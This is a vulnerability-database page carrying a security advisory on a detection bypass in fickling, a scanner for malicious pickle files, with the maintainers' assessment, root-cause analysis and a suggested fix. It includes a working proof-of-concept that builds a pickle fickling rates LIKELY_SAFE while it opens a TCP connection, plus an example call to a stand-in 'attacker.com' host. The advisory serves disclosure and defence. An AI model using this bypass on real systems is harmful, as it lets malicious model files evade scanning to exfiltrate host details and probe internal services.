VDB
Sign up
LOW

GHSA-83pf-v6qq-pwmr

Fickling has a detection bypass via stdlib network-protocol constructors

Quick fix

GHSA-83pf-v6qq-pwmr — fickling: upgrade to the fixed version with the command below.

pip install --upgrade 'fickling>=0.1.8'

Details

# Our assessment

`imtplib`, `imaplib`, `ftplib`, `poplib`, `telnetlib`, and `nntplib` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The `UnusedVariables` heuristic works as expected.

# Original report

## Summary

Fickling's `check_safety()` API and `--check-safety` CLI flag incorrectly rate as `LIKELY_SAFE` pickle files that open outbound TCP connections at deserialization time using stdlib network-protocol constructors: `smtplib.SMTP`, `imaplib.IMAP4`, `ftplib.FTP`, `poplib.POP3`, `telnetlib.Telnet`, and `nntplib.NNTP`.

The bypass exploits two independent root causes described below.

---

## Root Cause 1: Incomplete blocklist (fixed in PR #233)

`fickling/fickle.py` (lines 41-97) defines `UNSAFE_IMPORTS`, the primary blocklist. `fickling/analysis.py` (lines 229-248) defines the parallel `UnsafeImportsML.UNSAFE_MODULES` dict. Both omitted the following stdlib network-protocol modules whose constructors open a TCP socket at instantiation time:

| Module | Class | Default port | Constructor side-effect | |---|---|---|---| | `smtplib` | `SMTP` | 25 | TCP connect, reads SMTP banner, sends EHLO | | `imaplib` | `IMAP4` | 143 | TCP connect, reads IMAP capability banner | | `ftplib` | `FTP` | 21 | TCP connect, reads FTP welcome banner | | `poplib` | `POP3` | 110 | TCP connect, reads POP3 greeting | | `telnetlib` | `Telnet` | 23 | TCP connect | | `nntplib` | `NNTP` | 119 | TCP connect, NNTP handshake |

Because these module names were absent from both blocklists, `UnsafeImportsML`, `UnsafeImports`, and `NonStandardImports` all stayed silent. All six are genuine stdlib modules so `is_std_module()` returned `True` and `NonStandardImports` did not fire.

**Status: patched in PR #233.** The six modules have been added to `UNSAFE_IMPORTS`.

---

## Root Cause 2: Logic flaw in `unused_assignments()` at `fickle.py:1183` (unpatched)

### Description

`unused_assignments()` in `fickling/fickle.py` (lines 1174-1204) identifies variables that are assigned but never referenced. `UnusedVariables` analysis calls this method and raises `SUSPICIOUS` for any unreferenced variable -- this would otherwise catch a bare `REDUCE` opcode that stores its result without using it.

The flaw is at line 1183. The method iterates over `module_body` statements and, when it encounters the final `result = <expr>` assignment, breaks out of the loop immediately without first walking the right-hand side expression for `Name` references:

```python # fickling/fickle.py:1183 (current code -- vulnerable) if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # this is the return value of the program break # exits WITHOUT scanning statement.value ```

Any variable that appears only in the RHS of `result = <expr>` is therefore never added to the `used` set and is incorrectly classified as unused.

### How this enables bypass suppression

When fickling processes a `REDUCE` opcode in isolation, it generates:

```python _var0 = SMTP('attacker.com', 25) result = _var0 ```

Because the loop breaks before scanning `result = _var0`, `_var0` never enters `used`. `UnusedVariables` sees `_var0` as unused and raises `SUSPICIOUS`.

Adding a `BUILD` opcode with an empty dict after the `REDUCE` changes the generated AST to:

```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) # dangerous call _var1 = _var0 # BUILD step 1: intermediate reference _var1.__setstate__({}) # BUILD step 2: state call result = _var1 ```

Now `_var0` appears on the RHS of `_var1 = _var0`, a statement processed before the break, so `_var0` correctly enters `used` and `UnusedVariables` stays silent.

The `__setstate__` call is excluded from `OvertlyBadEvals` because `ASTProperties.visit_Call` places it in `calls` but not in `non_setstate_calls` (line 562), and `OvertlyBadEvals` only iterates `non_setstate_calls`.

The `SMTP(...)` call is skipped by `OvertlyBadEvals` because `_process_import` adds `SMTP` to `likely_safe_imports` for any stdlib module (line 550), and `OvertlyBadEvals` skips calls whose function name is in `likely_safe_imports` (lines 339-345).

**Net result: zero warnings, severity `LIKELY_SAFE`.**

This flaw is generic -- it applies to any module not on the blocklist, not just the six fixed in PR #233. Any future blocklist gap can be silently exploited using the same `REDUCE + EMPTY_DICT + BUILD` pattern as long as this flaw remains unpatched.

### Bypass opcode sequence

``` Offset Opcode Argument ------ ------ -------- 0 PROTO 4 2 GLOBAL 'smtplib' 'SMTP' 16 SHORT_BINUNICODE 'attacker.com' 30 BININT2 25 33 TUPLE2 34 REDUCE <- TCP connection opened here 35 EMPTY_DICT 36 BUILD <- suppresses UnusedVariables via flaw 37 STOP ```

Fickling's synthetic AST for this sequence (what all analysis passes inspect):

```python from smtplib import SMTP _var0 = SMTP('attacker.com', 25) _var1 = _var0 _var1.__setstate__({}) result = _var1 ```

No analysis rule in fickling fires on this AST.

### Proof of Concept

Requires only `pip install fickling`. Save as `poc.py` and run.

```python import socket import threading import pickle

def build_bypass_pickle(host: str, port: int) -> bytes: h = host.encode("utf-8") return b"".join([ b"\x80\x04", b"csmtplib\nSMTP\n", b"\x8c" + bytes([len(h)]) + h, b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]), b"\x86", # TUPLE2 b"R", # REDUCE b"}", # EMPTY_DICT b"b", # BUILD b".", # STOP ])

def run_poc(): from fickling.analysis import check_safety from fickling.fickle import Pickled

HOST, PORT = "127.0.0.1", 19902 received = []

def listener(): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind((HOST, PORT)) srv.listen(1) srv.settimeout(5) try: conn, addr = srv.accept() received.append(addr) conn.close() except socket.timeout: pass srv.close()

t = threading.Thread(target=listener, daemon=True) t.start()

raw = build_bypass_pickle(HOST, PORT) loaded = Pickled.load(raw) result = check_safety(loaded)

print(f"[*] fickling severity : {result.severity.name}") print(f"[*] fickling is_safe : {result.severity.name == 'LIKELY_SAFE'}")

assert result.severity.name == "LIKELY_SAFE", "Bypass failed" print("[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed")

print("[*] Calling pickle.loads() to simulate victim loading the file...") try: pickle.loads(raw) except Exception: pass

t.join(timeout=5)

if received: print(f"[+] Incoming TCP connection received from {received[0]}") print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE") else: print("[-] No TCP connection received (network blocked)") print(" fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless")

if __name__ == "__main__": run_poc() ```

### Expected output

``` [*] fickling severity : LIKELY_SAFE [*] fickling is_safe : True [+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed [*] Calling pickle.loads() to simulate victim loading the file... [+] Incoming TCP connection received from ('127.0.0.1', 58412) [+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE ```

Tested on Python 3.11.1, Windows. Not OS-specific.

### Impact

An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently:

- **Enumerate victims** -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments - **Exfiltrate host identity** -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server - **Probe internal services (SSRF)** -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf - **Establish a covert channel** -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe

The `is_likely_safe()` helper (`fickling/analysis.py:468-474`) and the `--check-safety` CLI flag both gate on `severity == LIKELY_SAFE`. This bypass clears that gate completely with zero warnings.

### Suggested fix

Walk `statement.value` before the `break` so variables referenced only in the result assignment are correctly counted as used:

```python # fickling/fickle.py:1183 -- suggested fix if ( len(statement.targets) == 1 and isinstance(statement.targets[0], ast.Name) and statement.targets[0].id == "result" ): # scan RHS before breaking so variables used only here are marked as used for node in ast.walk(statement.value): if isinstance(node, ast.Name): used.add(node.id) break ```

This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied.

---

## Affected versions

All releases including `v0.1.7` (latest). Confirmed on latest `master` as of 2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released). Root cause 2 unpatched as of this report.

## Reporter

Anmol Vats

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/fickling
Introduced in: 0Fixed in: 0.1.8
Fixpip install --upgrade 'fickling>=0.1.8'

References